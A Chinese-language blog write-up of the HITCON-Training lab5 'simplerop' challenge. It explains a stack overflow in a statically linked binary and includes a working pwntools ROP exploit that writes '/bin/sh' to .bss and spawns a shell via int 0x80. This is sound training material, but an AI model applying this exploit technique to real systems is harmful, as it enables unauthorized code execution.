HITCON-Training-master lab5 wp

2018-05-09  本文已影响61人  zs0zrc

程序防护机制:

image.png

开启了NX堆栈不可执行
查看了下ida反编译的代码

image.png

可以发现主函数十分简单,但是程序里却又十分多的函数,说明这是静态链接编译的
程序要求输入一局话,可以发现在read函数处有明显的栈溢出漏洞,buf大小是20 ,但是read函数读取100个字节的数据
我一开始是想直接用ROPgadget生成ropchain的,但是尝试过发现,它可以溢出的空间不足以放下ROPgadget生成的ropchain,所以失败了
可是文件中没有system函数也没有"/bin/sh"字符串
查看了下程序中是否存在 int 0x80

image.png

发现程序中存在中断信号,所以我们可以通过构造syscall的调用来getshell
解题思路:

  1. 将"/bin/sh\x00"写入内存
  2. 改变execve()函数的参数分别压入 eax,ebx,ecx,edx中,然后执行int 0x80 来执行系统调用

这里将"/bin/sh"写入内存中我又学会了一种新姿势,利用特殊的gadget 例如是 mov dword ptr [ecx],eax , 将字符串压入eax中,要写入的地址压入ecx中,然后通过这个gadget就可以将字符串写入想写入的内存了

  1. 第一步
    gadget--> mov dword ptr [edx],eax ; pop edx,ret; pop eax,ret
    将字符串写入bss段
payload = p32(pop_edx) + p32(buf) + p32(pop_eax)+p32("/bin" ) 
payload+= p32(gadget) + p32(pop_edx) + p32(buf+4)  
payload +=p32(pop_eax) + p32("/sh\x00") + p32(gadget)  
  1. 将syscall调用的参数压入相应的寄存器中
execve("/bin/sh\x00",0,0) 
对应为 eax=0xb(系统调用号) ebx = buf ;edx=0 ; ecx = 0  
payload = p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(buf) 
payload+= p32(pop_eax) + p32(0xb) + p32(int_80)  

exp:

from pwn import*  
p = process('./simplerop')  
elf = ELF('./simplerop')  
  
pop_edx_ecx_ebx = 0x0806eca0  
pop_eax = 0x080b7e26  
pop_edx = 0x0806ec7a  
int_80 = 0x0806c8f5  
gadget = 0x080707b9 # mov word ptr [edx],eax  
bss = elf.bss()  
read_plt = elf.symbols['read']  
  
  
p.recv()  
payload = 'a'*32 + p32(pop_edx) +p32(bss)+ p32(pop_eax) +"/bin"+ p32(gadget)  
payload +=  p32(pop_edx) + p32(bss+4) + p32(pop_eax) + "/sh\x00" + p32(gadget)  
payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss) 
payload += p32(pop_eax) + p32(0xb)  
payload += p32(int_80)  
  
p.send(payload)  
p.interactive()  
上一篇下一篇

猜你喜欢

热点阅读